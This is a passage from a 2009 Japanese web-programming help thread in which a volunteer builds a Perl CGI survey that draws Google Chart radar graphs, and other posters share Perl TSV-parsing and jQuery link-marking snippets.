なので, XHTML, CSS が解っていれば簡単にデザイン変更が可能になる予定.
template, CSS のリンクを書き出してもらえば それに対応します.
(残念ながら script 本体は こちらでいじるしかない...)

(自分とこの掲示板も未完成だというのに おいらって... はぁ)

351 : ◆q7u/null4U :2009/11/15(日) 20:58:37 ID:???
記録データを読み出して処理する過程で訳わかんめに...
(TSV にせよ, CSV にせよ 処理結果は array になる)
(そして array 同志の足し算をやればよいはずなんだけど... どうも うまくいかない...)
perl のばか〜 !

352 :Name_Not_Found:2009/11/17(火) 10:07:51 ID:???
>>348
すみません、ホスト規制で返信遅れました
長かったorz

うむむ、TSV形式の方が使いやすそうですね
扱いやすいようにして貰えるなら、その辺はお任せしてもよろしいでしょうか?

>HTML 5 に対応した Web-Browser
ありゃ、もしかしてIEや火狐で表示出来なかったりします?

詳細データ書きますね
項目1 [味] 1-5の間の値
項目2 [見た目] 1-5の間の値
項目3 [コストパフォーマンス] 1-5の間の値
項目4 [インパクト] 1-5の間の値
項目5 [香り] 1-5の間の値
項目6 [中毒性] 1-5の間の値

これがRadar Chartにする際の使用するデータです
Radar Chartの一番上から時計回りに項目1→項目2みたいな表示が望ましいです

353 :Name_Not_Found:2009/11/17(火) 10:09:05 ID:???
上記の内容とは別なのですが[評価]という項目を作り
Radar Chartの項目と同じように0-100間の数値を入力してもらいx人の平均数値を表示
そして、その数値の値によって違う文字を隣りのテーブルに表示させる機能もお願いします
具体的に言うと
x人の評価平均y
yが91-100の間なら[S]と表示
yが81-90の間なら[A]と表示
yが71-80の間なら[B]と表示
yが61-70の間なら[C]と表示
yが41-60の間なら[D]と表示
yが21-40の間なら[E]と表示
yが0-20の間なら[F]と表示

>(自分とこの掲示板も未完成だというのに おいらって... はぁ)
色々と注文して申し訳ないです
無理をなさらないで自分のペースで進めてください

HTMLちょこっとかじった程度のド素人なのでXHTML, CSSなど色々と調べてみますね

354 : ◆q7u/null4U :2009/11/17(火) 12:22:55 ID:???
>>352
>ありゃ、もしかして
説明してると長くなるので "canvas" で google search してちょうだい.
現在の一般的 web-browser では扱えないと思う.
なので例のサイトのオプションは没.
こちらとしては元となるデータ管理の CGI 制作に力を注ぐつもり.

条件を考慮して改造した CGI:
ttp://hpcgi2.nifty.com/alter/labo/inquire.cgi
・ "submit" クリックすると form から送られたデータがそのまま表示されるのみ.
あとはこのデータを TSV に加工して記録させる.
ここまでは簡単だけど, そのデータをどう使うかが大問題.

ちなみに TSV データとは
field1 \t field2 \t field3... \n
と言う形で一行が 1record に対応する.
こちらとしては単に記録してデータファイルとして吐き出す形が望ましい.
(一々計算させるとサーバーの負担が...)

繰り返すけど, まずはデータをどう使うかを決めないと先に進めない.

355 : ◆q7u/null4U :2009/11/17(火) 12:41:07 ID:???
追記:
元の CGI は select field を script で書き出している.
しかしながら この部分を直接 template に書いた方が自由度が高まる.
script が簡単になるメリットも大きい.
この方向でやるのは どうかな ?

いろいろと煮詰めなければならないことが多いので長丁場になりそう...

356 : ◆q7u/null4U :2009/11/17(火) 12:45:18 ID:???
>>353
気持ちは分からないでもないけど,
まずは最初の問題を解決してからにしようよ !
それでなくとも頭がオーバーヒート気味なんだからぁ〜.

357 :Name_Not_Found:2009/11/17(火) 13:30:34 ID:???
>>354
>現在の一般的 web-browser では扱えないと思う
ググってみたところ
「Internet Explorer 以外の主要ブラウザではすでに実装済み。Internet Explorer 向けに、VMLを使い、canvas タグを実現するライブラリがある」
とありましたが、FirefoxはHTML 5実装済みIEもVMLを使えば対応可能と考えても大丈夫なのでしょうか?

>データファイルとして吐き出す形が望ましい
ええと、form から送られたデータを保存だけにした場合計算処理ってどの段階でされるのでしょう?
負担が少なく軽い方がいいので、効率のいいタイミングが望ましいですね

>まずはデータをどう使うかを決めないと
今のところデータの総数(x人の投票数が求めたいので実質どれか1項目の合計個数が求められればいい)
と項目ごとの合計平均の処理が必要です

>この部分を直接 template に書いた方が自由度が高まる
えーと、この部分がちょっと理解できなかったのですみませんがもう少し補足を;;

>>356
申し訳ないです、焦り過ぎました


358 : ◆q7u/null4U :2009/11/17(火) 20:34:52 ID:???
>>357
おいらには FireFox, IE どちらも使えないんだ.
したがって動作確認が出来ず, 手も足も出ないのさ.

>form から送られたデータ
"key=value" の対を "&" で繋いだ形で送られて来る.
たとえば >>352 の場合だと
" 味=1&見た目=2&コストパフォーマンス=3&インパクト4&香り=5&中毒性=1 " てな感じ.
これを 元に戻すと"1 2 3 4 5 1" と言った感じのデータとなる.

これらの足し算をするとなると... (項目*record 数) の loop 処理が必要となって...
さながらベンチマークテストのような感じになってしまう.
一つのアイディアとしては受け取るたびに加算し,
常に一つだけの record として記録する手も ある.

>この部分がちょっと理解できなかったので
まずは template のサンプルを... :
ttp://homepage2.nifty.com/alter/labo/templates.zip
この中の ヌrsltネ のように "ヌ ネ" で囲まれた部分が script で置き換えられる.
(日本語 font では文字化けしてしまうかも)

長文になってしまうので この辺で一区切り.

359 :Name_Not_Found:2009/11/17(火) 20:45:19 ID:???
>>358
横レスだけどHTML5はIE以外対応してたはず

360 : ◆q7u/null4U :2009/11/17(火) 20:50:21 ID:???
さて, "brws.html" が通常表示用の template.
この中の <select name="〜"><option>〜</option></select>
の部分は数が多かろうが少なかろうが name=value という対として送られる.
つまり, 自由に増減できるわけ.

さらに極論になるけど template, css は同じサーバー上にある必要がない.
リンクさえきちんと張ってやれば CGI 本体から離れた場所にあっても良い訳.

361 : ◆q7u/null4U :2009/11/17(火) 20:59:46 ID:???
>>359
先に書いている通り Mozilla1.31 相当の WaMCom しか使えないんだ.
update もとっくに打ち切られているけど よくもまあ今まで持ったもんだ !
現状を打開するためには OS を入れ換えなければならないけど すでに手に入らないんだ.
hardware だって intel inside なんてものしか対応しないという糞 Apple.

しかし水面下の進行なのに見る人は見てる物なのね.

362 : ◆q7u/null4U :2009/11/17(火) 21:14:12 ID:???
ここまで来ると単なる改造ではなくなってしまう
template 読み込み化で script そのものは見通しが良くなるのだけど...
perl の特長を掴み切れてない僕ちゃん.
完成までの道のりは長い...


363 : ◆q7u/null4U :2009/11/17(火) 21:27:30 ID:???
とりあえず,
投稿者個人のデータを記録せず,
投稿者数と各項目の合計点数を記録する形でいいのかな ?
これが決まらないと堂々巡りになってしまう.

それともう一点:
Radar Chart を生成させる方法が見つからない.
画像を生成する perl script も あるようだけど
おいらの手におえる代物ではない.
だから excel...

364 :Name_Not_Found:2009/11/18(水) 08:29:26 ID:???
>>363
>投稿者数と各項目の合計点数を記録する形でいいのかな ?
なるほど、その手がありましたか!
確かにそれなら必要最低限のことだけで済むから軽そうですね
その形でお願いします

>Radar Chart を生成させる方法が見つからない
分かりました、とりあえずはexcelで処理することにします
サイトにどうしても欲しい機能なので、私はもうちょっと粘ってみますね
perl.canvas.VMLあたりかぁ・・・

>(日本語 font では文字化けしてしまうかも)
>"ヌ ネ" で囲まれた部分が script で置き換えられる・・・
見事に文字化けしてるっぽいですorz

詳しい説明ありがとうございました
勉強になりました

365 : ◆q7u/null4U :2009/11/18(水) 17:25:59 ID:???
>>364
perl と JavaScript は似ている部分もあるものの 予想外の違いに面食らってしまう.
すったもんだの揚げ句, とりあえず動くだけのものに...
(必要とされるエラー処理やロックファイル処理は後ほど)
バリバリ2重投稿などが出来てしまうので このままでは実用に耐えない.

>私はもうちょっと粘ってみますね
良い方法が見つかったら教えてネ.
もちろん, 可能な限りの協力は惜しみません.

>見事に文字化けしてるっぽいですorz
あの二つを選んだのは通常使われず, 誤動作の可能性が低いから.
(ほとんどの script でもHTML でも 使われることは まずない)
ただ, Shift_Jis では半角カタカナに使われているので文字化けの憂き目にあってしまう.
余談ながら template 読み込みタイプの CGI では作者ごとの違いがあって興味深い.

さて, データファイルを吐き出すようにしています:
ttp://homepage2.nifty.com/alter/labo/inquire.txt
7つの数値のうち, 6つは 各項目, 最後の一つは投稿件数.
Web-browser で見られるだけだけど もう一工夫が必要な気が...

366 :Name_Not_Found:2009/11/18(水) 17:32:14 ID:???
チラシの裏にでも書いてろよクズ

367 : ◆q7u/null4U :2009/11/18(水) 17:53:51 ID:???
>>366
ガーン !
もう立ち直れない !
たしかに今のままでは屑だよ〜 シクシク.

368 :Name_Not_Found:2009/11/18(水) 18:06:07 ID:???
正直すまんかったw


最近どのスレも過疎ってるしがんばってくれ

369 :Name_Not_Found:2009/11/19(木) 06:46:52 ID:???
hp用でマウススクロールで画像の拡大縮小のjs作ってほしいのですが
いくつか試したところIEやsafariやNetscapeでは機能してるんですが
どうしてもFirefoxでは動いてくれません
お願いします

370 : ◆q7u/null4U :2009/11/19(木) 08:05:25 ID:???
>>369
なんとかしてあげたい.
だけど, 今手いっぱいなんだ.
(今答えてるのは σ(^_^;) 一人)
今は あまり得意でない perl と格闘中.
これが解決しないことには次に取り掛かれない.

だけど, いくつかの疑問があるので確認:

1. "マウススクロールで"
 たぶん うまい言葉が見つからないのだろうけど意味不明.
 "画像の拡大縮小" 関連の event handler と言えば...
 onclick, onmouseover, ... こんなところだとおもうけど...

2. "Firefoxでは動いてくれません"
 IE は別として Safari, Netscape で動いていて FireFox で動かないって...
 残念ながら動作確認できないけど. (FireFox を使えない)

371 :Name_Not_Found:2009/11/19(木) 13:01:49 ID:???
>>365
>良い方法が見つかったら教えてネ
グラフの生成を検索していたらRというものに辿り着きました
これにデータを送って描画出来ませんかね?
ttp://www.okada.jp.org/RWiki/?RjpWiki
レーダーチャートの関数も公開されていたので参考までに
ttp://phi.med.gunma-u.ac.jp/swtips/radarchart.R

perlの処理に専念でグラフの方は手が空いたときに考えて貰えればいいですよ
初めて見るものが多くて頭がパンクしそうです・・・

372 : ◆q7u/null4U :2009/11/19(木) 17:02:19 ID:???
>>371
どうやら動作確認してくれてなさそうだねぇ:
ttp://hpcgi2.nifty.com/alter/labo/inquire.cgi
あれから少しいじって完成一歩手前.
動作確認のため 2 重投稿し放題.

ダメ出しよろしく.

373 : ◆q7u/null4U :2009/11/19(木) 17:05:26 ID:???
>>371
リンク先見て見たけど ちょっと違うんじゃないかな ?
PHP で動作確認できた差異とがあったけどウチでは使えない.
やっぱり, excel...
ダウンロードできるようにしておいたから inport 試してちょうだい.

374 : ◆q7u/null4U :2009/11/19(木) 17:06:31 ID:???
訂正: 差異と -> サイト

375 : ◆q7u/null4U :2009/11/19(木) 17:25:46 ID:???
万が一アク禁を食らったときのために.
ttp://homepage2.nifty.com/alter/bbs/index.html
" URLが変だ ? " 思った人は鋭い !
これは KENTWEB の SunBoard をいじり倒した代物.

376 :Name_Not_Found:2009/11/19(木) 19:07:33 ID:???
>>372
zipが壊れてて解凍出来ないようです;;
あと10段階にしてあるのは分かりやすくするためでしょうか
1=10%上昇みたいな?

>>373
うぬ、これもダメなのかぁ
時間は掛かると思いますが細々と調べて行きます


377 : ◆q7u/null4U :2009/11/19(木) 19:59:17 ID:???
>>376
説明しておいたはずなんだけど, あれは plain text.
壊れるも何も そもそも圧縮してないのよ.
だから text editor で開けば...
もしかして suffix 変更できないのかな ?

>10段階にしてあるのは
五段階では一回当たり 20ポイントを投票する結果となり,荒すぎると思ったまで.
ただし, この変更は script をいじる必要が発生する.
とはいえ, たった一ヶ所の数値を変更するだけだけど.

それと template 化したことにより
select -> input type="radio" への変更が簡単にできるデモンストレーションの意味も.
実際, 操作性の上では input type="radio" の方がこのケースには向いていると思う.
ともかく これで悪いというのなら率直にダメ出しをして欲しいんだ.

あと もう一点:
オリジナルでは IP を記録し,
それと投稿者の IP を比較することで二重投稿を防いでいた.
この方式で良いのかどうか ?



378 :Name_Not_Found:2009/11/20(金) 01:28:19 ID:3jkPr5Fz
今さらかもですが、google chartってものもあるんですよ
http://chart.apis.google.com/chart
?cht=r&chd=t:60,40,30,100,30,10,60&chxl=0:|%E5%91%B3%7C%E8%A6%8B%E3%81%9F%E7%9B%AE%7C
%EF%BD%BA%EF%BD%BD%EF%BE%84%EF%BE%8A%EF%BE%9F%EF%BE%8C%EF%BD%AB%EF%BD%B0%EF%BE%8F%EF%BE%9D%EF%BD%BD%7C%EF%BD%B2%EF%BE%9D%EF%BE%8A%EF%BE%9F%EF%BD%B8%EF%BE%84%7C%E9%A6%99%E3%82%8A%7C%E4%B8%AD%E6%AF%92%E6%80%A7
&chxt=x&chs=300x300&chm=B,FF990050,0,0,0
(行長過ぎるって警告でたから自分でつなげてアドレスバーに入れて)

あと、perlはどこで詰まってるの?ずっと追ってたけど、どこで詰まってるのかよくわからん。
つってもニフのperlじゃ何もやりようないかもしれないけど。

379 : ◆q7u/null4U :2009/11/20(金) 04:21:30 ID:???
>>378
>perlはどこで詰まってるの
詰ってる... ? そうかもしれないかなぁ.
一番とまどったのは hash と array の挙動.
JavaScript なら内部的に array は hash と同等だけど perl は...
予想外の結果が帰って来て一日堂々巡りしてみたり.

先にもぼやいていた通りデータを読み出すたびに split('〜',$x).
通常, list を用意して ($y0,$y1,...)= split('〜',$x) として受け取るのが定石.
しかし split した結果がどうなるか予想できるのなら問題ないのだけど,
そうでないときは array で受け取ることになり, 多次元 array のジャングルへ.

本来 server side script に手を出すのなら local で perl を動かすのが常識.
しかし, おいらにはそういった環境を用意できなかった.
(netBSD, debian などの install はことごとく失敗.)
そこで loop 処理に手をつけるのは恐る恐る.

暴走しなかったのはラッキー.

380 : ◆q7u/null4U :2009/11/20(金) 04:24:19 ID:???
>>378
>google chart
なるほど, 研究の余地ありですね.


381 : ◆q7u/null4U :2009/11/20(金) 04:32:32 ID:???
>>378
>ニフのperlじゃ何もやりようないかも
それは一理あるかも知れないけど biglobe でも似たりよったりでは ?
すべてを調べたわけではないけど ISP の Web Hosting は たぶん似たり寄ったり.
それでも余分な投資なしに CGI が使える 100MB を活用しない手はないと思う.
xrea の使い勝手は良いけれど, 投資に合うだけのネタを持ち合わせないのでボツにした.

382 : ◆q7u/null4U :2009/11/20(金) 04:53:03 ID:???
>>378
ざーと見た限り, Radar Chart が見当たらない.

383 :Name_Not_Found:2009/11/20(金) 06:34:40 ID:3jkPr5Fz
>>379
どこのことを言ってるかよくわからないや
> 先にもぼやいていた通りデータを読み出すたびに split('〜',$x).
これどこの話?実際に何の値をsplitしようとしてるの?

>>382
>ざーと見た限り, Radar Chart が見当たらない.
ん?改行されているURL全部繋げてブラウザで見てみた?
それともRadar chartって別の物のことなのか?

384 : ◆q7u/null4U :2009/11/20(金) 07:21:38 ID:???
>>383
>何の値をsplitしようとしてるの
記録したデータファイル(TSV) を読み込んで復元しようとすると,
@v=split("\t",$u); てな感じになる.
通常 1 record と言うことはないので これ以前に
@u=split("\n",$bff);

かくして loop と 2次元 array の地獄を味わうことにな〜る.
正直, %x, @x, $x を同時に使った場合, 何が起こるかを掴み切れてません.

>改行されているURL全部繋げてブラウザで見てみた?
うまく表示されなかった.
(ttp://code.google.com/intl/ja/apis/chart/ に飛ばされる)
で, そこにでてくる物は "pie chart" いわゆる円グラフ.

話題の Radar Chart は別名 Spider Chart とも言うらしい.
項目別に放射線状にポイントをプロットしてそれを繋いだ物.
(釈迦に説法だったら 御免なさい.)

385 :Name_Not_Found:2009/11/20(金) 08:35:09 ID:???
横から失礼

ttp://code.google.com/intl/ja/apis/chart/types.html
>>378 氏のURL見るとrタイプですね
あと、長いURLの原因は無意味な日本語パラメータのせいみたいなので、chxlクエリを削れば短くなりますよ

386 :378:2009/11/20(金) 09:15:34 ID:???
>>385
ちょ、無意味ってw
無意味な日本語パラメータを付けたわけではなく>>352の項目を例にしました

387 : ◆q7u/null4U :2009/11/20(金) 12:12:58 ID:???
>>378, >>385
お蔭様でトンネルの出口が見えました:
ttp://hpcgi2.nifty.com/alter/labo/inquire.cgi
自慢じゃないが勘だけは良いのだ(えっへん)
最初失敗したのは space が混入していてそれが邪魔したのだと思います.

388 :Name_Not_Found:2009/11/20(金) 13:34:21 ID:???
>>384
あ。splitの話書いてあったのか。見逃してた

> 記録したデータファイル(TSV) を読み込んで復元しようとすると,
> @v=split("\t",$u); てな感じになる.
> 通常 1 record と言うことはないので これ以前に
> @u=split("\n",$bff);
普通は

my $file = '2009-11-20.tsv'; # a\tb\tc みたいにタブ区切りのデータ

# データ集計
open my $rfh, '<', $file or die "cannot file $file: $!";
my @data_refs;
while (my $line = <$rfh>) {
  chomp $line;

  my @data = split /\t/, $line;
  push @data_refs, [@data]; # \tで分割した配列のリファレンスをpush
}
close $rfh;

# データ処理
for my $data_ref (@data_refs) {
  warn "fileds: \n";
  for my $field (@{$data_ref}) {
    warn $field; # a, b, cが順番に出力
  }
}

こんな感じの処理じゃないですかね

389 : ◆q7u/null4U :2009/11/20(金) 17:23:31 ID:???
>>388
わざわざ script を考えて頂き, ありがとうございます.
この機会に じっくりと研究させて頂きます_(._.)_
(chomp, push, shift とか 今一解ってません) (オイ!)
(split /\t/, $line; とかも始めて見る表現だ〜)

390 :Name_Not_Found:2009/11/20(金) 17:35:26 ID:???
>>389
perlは関数の()を省略できて、標準関数だと()を外す習慣を持っている人がいたりする
ってことで、
split(/\t/, $line);
と同じ意味です。splitの第1引数は文字列か正規表現なので"\t"か/\t/どっちでもいい。
chompは改行を削除ね。1行ずつ$lineに入れてるから\nが邪魔なのでchompした。
pushは第1引数の配列に、第2引数のスカラを入れる関数。

だいぶスレ違いだけどここ何日間他の人書き込んでないからいいかなと思って。

391 : ◆q7u/null4U :2009/11/20(金) 17:59:33 ID:???
>>390
>perlは関数の()を省略できて
ふむふむ.
(しかし 同じ処理に いくつもの省略形があるのは なんだかなぁ〜)

>splitの第1引数は文字列か正規表現なので
う〜ん...
ここにも独特の曖昧さが...

>1行ずつ$lineに入れてるから
あっ, 目からうろこ(☆o☆)きら〜ん
( open(IN,$file); @bff=<IN>; close(IN);
とやってのち, split("\n,"$bff) とやってました.)

>ここ何日間他の人書き込んでないから
このごろの この板は さながらゴーストタウン.
その昔いた人たちは どこへ いっちゃったの ?

392 : ◆q7u/null4U :2009/11/21(土) 04:12:16 ID:???
>>337 の依頼があってから早くも一週間.
返事がないのなら こちらで勝手に 二重投稿防止その他の処理を決めてしまう.

それにしても自分一人では中途半端にお茶を濁すしかない一件であった.
まさに "3人寄れば..." ということわざ通り!
>>378, >>385 両氏に 改めて感謝.

あっしは自分とこの掲示板の完成を目指す.
とりあえず今日は寝る.

393 :Name_Not_Found:2009/11/21(土) 09:56:25 ID:???
>>392
すみません、ちょっと立て込んでいて返信遅れました
Radar Chart出来たんですね!
凄いです、感動しました
作成者様とスレの皆様ありがとうございます

>二重投稿
そうですね、IP比較方式でお願いします

>20ポイントを投票する結果となり,荒すぎると
見易さを重視しようとしていたのですが、そうですね確かに荒すぎました
ちょっと構想を修正したいので、結構面倒なお願いになると思いますがよろしいでしょうか?

各項目に項目合計値である100Pointを固有の割合で割り振り
それらの投票合計値を兼ねてから言ってました得点にしようかと思います
(元々は別しようかと思ってました)
具体的に言いますと

味 MAX60 Point
見た目 MAX 5 Point
コストパフォーマンス MAX 5 Point
インパクト MAX 5 Point
香り MAX 5 Point
中毒性 MAX 20 Point
(いずれも最低値は0 Point)

これらを投票してもらい合計値が得点になります


長くなるので分けますね

394 :Name_Not_Found:2009/11/21(土) 09:57:34 ID:???
>>393続き
選択項目が増えたためRadio buttonでは無理になるので
select boxで作成お願いします
(なるべくKeyboardを使わず気軽に投票して貰うため)

それと、これでRadar Chartを作成するとおかしなグラフになるので各項目のMAXを100%で統一して下さい
味ならば60Pointで100%、6Pointで10%
見た目ならば5Pointで100%、0.5Pointで10%
といった具合でお願いします

最後にRadar Chartの微修正のお願いを箇条書きで・・・
・グラフに(放射線)外枠をつけて下さい。項目の評価がMAXの時など見やすいと思うので。
・項目名の所(放射線の末端)に平均Pointを表示させて下さい。小数点は第二位まで表示でお願いします
・生成されたグラフの中に色を付けてください(塗りつぶし)

ご検討よろしくお願いします、長文失礼しました

395 : ◆q7u/null4U :2009/11/21(土) 10:37:53 ID:???
>>393
>IP比較方式でお願いします
了解.
ただし, この方式は連続投稿防止になっても,
IP は固定でないのが普通だから
同一人物による重複データを送ることは可能.
(このケースでは厳密なデータが必要とは思えないけど)

>結構面倒なお願いになると思いますがよろしいでしょうか?
>>369 も返事がないことだし, 依頼がなかったと勝手に判断.
したがって現時点でのお客様は貴方だけ.
お客様の依頼あってのこのスレッド; 嫌とは言えません.
ただし, できないことは "できない" とはっきり言わせてもらいます.

396 : ◆q7u/null4U :2009/11/21(土) 11:05:04 ID:???
>>393-397
>select boxで作成お願いします
template のサンプルを upload します.
好きなようにいじって 好きなところに upload して その URL を教えてください.
こちらでそれを読み込むように対応します.
(ただデータの Range がバラバラなので一工夫が必要になりそう)

>各項目のMAXを100%で統一して下さい
現在でも percent 表示ですよん.

>最後にRadar Chartの微修正のお願いを
このあたりは template の修正で可能です.
このあたりは先に template を見てもらってからのお話しってことで.
未完成ながら (おそらくガンガン修正する必要がありそう)
現時点での template:
ttp://homepage2.nifty.com/alter/review/templat.zip

397 : ◆q7u/null4U :2009/11/21(土) 11:36:13 ID:???
注意点:
 1. CGI が吐き出すデータは すべて ヌ〜ネ の形を取ります.
 2. "〜" の部分は あらかじめ決められた物以外はデータ置き換えの対象とはなりません.
 3. ヌ〜ネ の形の部分を複数書き出すことも可能です.
 4. CGI の directory を変更します.
  (template 内の ヌcgiネ によって自動的に置き換わるので いじる必要はありません)
  (というか, へたにいじると post できなくなります)
 5. radar chart に置いて需要なのは &chd=t:ヌargネの部分であって それ以外は CGI に依存しません.
 6. これから根本的な改造をするので CGI の吐き出す argument は大幅にかわる予定です.

398 : ◆q7u/null4U :2009/11/21(土) 11:38:01 ID:???
訂正: 需要なのは -> 重要なのは

399 : ◆q7u/null4U :2009/11/21(土) 11:51:47 ID:???
そう言えば XHTML, CSS 供に これからだとか言っててたなぁ.
となると "template いじれ" といっても簡単ではないことになる.
それと URL を晒すのを嫌う人も居る.
不都合があるのならそのむね申し出て欲しい.

(もしかすると すべてこちらで ???)

400 : ◆.PT9876/4U :2009/11/21(土) 22:19:07 ID:???
template 読み込み方式の魅力は安心して いじり倒せることにあります.
その特長をいかすためには server side でやることを最小限にとどめなければなりません.
JavaScript に できないことは データの I/O. (cookie だけは例外)
それ以外は むしろ JavaScript に任せた方が良いことが多々あります.

そう言うコンセプトの基に全体的に設計を見直すことにしました.
だけど そろそろ脳の活動の限界の模様です.
とりあえず, 酒呑んで寝る !

401 :>>369:2009/11/22(日) 01:37:12 ID:???
>>370
>>395
お返事遅くなってすみません

参考1 ttp://iswebmag.hp.infoseek.co.jp/105/sample01.html
参考2 ttp://home.impress.co.jp/books/urawaza/tipsdic/sample175-200/tips197.html
参考にしたスクリプトは上記です

1. onmousewheelかな?
2. 参考1はIEとNetscapeだけ動作 参考2はIEとSafariとNetscape
  両方ともFirefoxでは動作してくれません

402 : ◆.PT9876/4U :2009/11/22(日) 05:17:35 ID:???
>>401
どちらも "event.wheelDelta" を利用している模様.
それで この中の event と言うやつが曲者で web-browser ごとに記述, 挙動が違う.
それと wheelDelta というのは初耳.
" いつから そんな property が ??? "

Google で調べて見ると:
ttp://www.openspc2.org/JavaScript/reference4/event/wheelDelta/index.html
Mozilla 系 web-browser の対応は ないらしい.

さらに おいらは Kensington の track ball 愛用者であって
これには "mouse-wheel" なるものがない.
(新しい物にはあるようだけど)
だから... お判りですね ?

403 :Name_Not_Found:2009/11/22(日) 09:55:53 ID:???
>>402
わかりました
Firefoxはクリックでやるしかないのか・・・

404 : ◆.PT9876/4U :2009/11/22(日) 12:01:39 ID:???
>>403
今は次の依頼を受け付けるわけにはいかないけど,
画像の拡大縮小なんてのは js で css をコントロールしているだけ.
そのきっかけをどうするかって問題なので方法は一つではないと思うぴょん.
あくまでも mouse-wheel にこだわるのなら どうしようもないけど.

405 :Name_Not_Found:2009/11/22(日) 12:07:46 ID:???
プログラミング経験蓄積中の嘆きとプログラミング知識ゼロの無理難題

がんばれwww

406 : ◆.PT9876/4U :2009/11/22(日) 12:16:00 ID:???
>>393
"味 MAX60 Point" : 言うが安く行うが かたし.
これを select field でやろうとするのは どうかと思うよん.
実際に <option value="n">n</option> を 61 個並べて見れば これが狂気の沙汰だと解るはず.
UI として考えても決して使いやすいものにはならない.

それはさて置き, 全面改訂版:
ttp://homepage2.nifty.com/alter/review/index.html
"どこが違うの ?" と思うのなら js を ON/OFF して読み込んで著.
ちなみに某掲示板と同様に HTML ファイルを吐き出しているので
directory が cgi-bin と違っている野良.

407 : ◆.PT9876/4U :2009/11/22(日) 12:18:25 ID:???
>>405
応援してくれていると好意的に受け止めたいけど,
末尾の "www" が気に入らないねぇ.

408 : ◆.PT9876/4U :2009/11/22(日) 16:01:23 ID:???
・ final version:
CGI 本体:
 ttp://hpcgi2.nifty.com/alter/review/review.cgi
CGI によって作られる HTML ファイル:
 ttp://homepage2.nifty.com/alter/review/index.html
templats(dialogue と 標準 template, js ファイル):
 ttp://homepage2.nifty.com/alter/review/templates.zip

これで一件落着とさせて頂きます.
なお, 不具合がありましたらお知らせください.
Google Chart については
 ttp://code.google.com/intl/ja/apis/chart/basics.html
に詳細が載ってます.

希望通りにできるかどうかは ご自分で調べてください.

409 : ◆.PT9876/4U :2009/11/22(日) 16:14:17 ID:???
CGI 詳細:
1. "post" && "mode=rgst" の時のみデータを受け付け, 加算した上で記録します.
2. 上記の条件に該当していても IP 照合により蹴られることがあります.
3. 1,2 に該当しない場合は自動的に HTML ファイルを生成した上で そこに強制移動させます.
4. CGI はデータ受け付け, 加算, 記録, 読み出し以外は何もしません.
5. データは JavaScript により加工され, 表示されます.

410 :Name_Not_Found:2009/11/22(日) 17:18:06 ID:???
・body内のリンクを全て絶対パスにする
・現在のURLを取得する
・現在のURLとbody内にあるリンクが一致したら、markというクラス名を追加する

jQuery使用前提でこういうことは出来ますか?
出来るのであれば、どんな感じのソースになるのか教えて下さい

411 : ◆.PT9876/4U :2009/11/22(日) 17:30:35 ID:???
>>410
jQuery についての知識は皆無だけど, そんな物を利用しなくても可能.

>markというクラス名を追加する
"クラス名" というのは CSS の className のこと ?
そうであるのなら可能.

>どんな感じのソースになるのか教えて下さい
jQuery 利用が前提ならば おいらの出番はない.
そうでなくとも今日は疲れた.
明日でも よかったら...

412 :Name_Not_Found:2009/11/22(日) 17:42:33 ID:???
>>411
>jQuery についての知識は皆無だけど, そんな物を利用しなくても可能.
現在javascriptを勉強しているのですが、
流行りにのってjQueryも同時進行で覚えようかな、と思っていただけですのでjQuery無しで構いません。

>"クラス名" というのは CSS の className のこと ?
その通りcssのclassNameのことです。

ぜひ参考にしたいのでお願いします。

413 : ◆.PT9876/4U :2009/11/22(日) 17:57:06 ID:???
>>412
りょうかい.
ただ, 先に書いた通り得意とは言えない perl と
js のコンボ script を考えていたので頭がズタボロ.
明日の朝, 早くからやるからそれで勘弁してね.

414 :Name_Not_Found:2009/11/22(日) 19:06:36 ID:???
>>408
様々な要望に応えて頂きありがとうございました
おかげさまでイメージ通りのものになりました
後は自分で頑張ってみます(どうしても分からなかったら質問しにくるかもしれませんがorz)

本当にありがとうございました

415 : ◆.PT9876/4U :2009/11/22(日) 19:55:46 ID:???
>>412
location.〜 についての実演デモ:
 ttp://homepage2.nifty.com/alter/labo/dilg.html
js:
 ttp://homepage2.nifty.com/alter/labo/exam.js

416 : ◆.PT9876/4U :2009/11/22(日) 20:03:05 ID:???
>>414
あれで良いというのなら...
(個人的には別サーバーにある template 読み込み実験をやってみたい)
ともあれ, js をいじることによって結構おもしろいことができるはず.

417 :Name_Not_Found:2009/11/23(月) 00:15:32 ID:IqJGsE+M
>>410
暇だからjQueryあり版の方書いた。こんな感じかなぁ。
絶対パスって「http://」で書いてるURLのことは含んでないよね?
自分のURLをhttp://から書いてた場合めんどいなぁと思った。
あとaタグ2回ループさせるのが処理的にもったいないけど、
いったん全部絶対パスにした方が安全だなと思って2回回すことにした。
もしかしたらもうちょい良い方法あるかも。

pathname = location.pathname
locationDir = /(.*\/)[^\/]*$/.exec(pathname);

// aタグ全てを絶対パスにする
$('a').each(function(){
  $a = $(this);
  href = $a.attr('href');

  if (! href) return; // hrefがない場合
  if (/^(?:\/|#|http:|javascript:)/.exec(href)) return; // 絶対パス、アンカ、プロトコルの場合は抜ける

  newHref = locationDir + href;
  $a.attr('href', newHref);
});

// 自分と同じURLならmarkというclass名を付ける
$('a').each(function() {
  $a = $(this);
  if ($a.attr('href') === pathname) {
    $a.attr('class', 'mark');
  }
});

418 : ◆.PT9876/4U :2009/11/23(月) 05:25:59 ID:???
>>410
>絶対パス
"相対パス" と言う言葉は疑いもなく一つの記述方法に対応するけれど,
"絶対パス" と言うと解説サイトでさえも指し示す対象がバラバラだったりするので確認:
 1. サーバー上の特定の directory を起点とする記述
 2. http:// から始まる記述

で, こちらとしては "結局何がしたいの?" と言う疑問が沸いて来る.

なぜならば通常のサイト運営においては >>415 における
"location.host" は変化せず, "location.pathname" だけが変化する.
つまり, location.pathname を比較するば
ファイル上のリンクが "現在のURL" 一致するかどうかが判る.

次に "mark" の内容.
ある element(ターゲット)に "mark" を付加させたいのなら,
 elm.className="mark";
と書けば良い.
でも, そうすることの意味は何なのだろう ?

そして期待に答えるには どうすれば良いのかサパーリ ???

419 : ◆.PT9876/4U :2009/11/23(月) 05:39:09 ID:???
>>417
かえって複雑になってると思うのは おいらだけ ?
あの手のものは, つまるところ black-box なのがなんとも...
知らないよりも知ってたほうが良いのだろうけど,
個人サイトでの必要性に疑問を感じてしまう.

420 : ◆.PT9876/4U :2009/11/23(月) 06:11:42 ID:???
>>418 の記述では誤解を招くかも知れないのでの修正.
・ "mark" を付加させたいターゲットを target とする.
それで target に 'mark' を付加させたいのなら,
 target.className='mark';
と書けば良い.

421 :410:2009/11/23(月) 11:56:44 ID:???
どうもありがとうございます、全て読ませて頂きました。

ページ内に現在のURLと同じURLのリンクがあれば
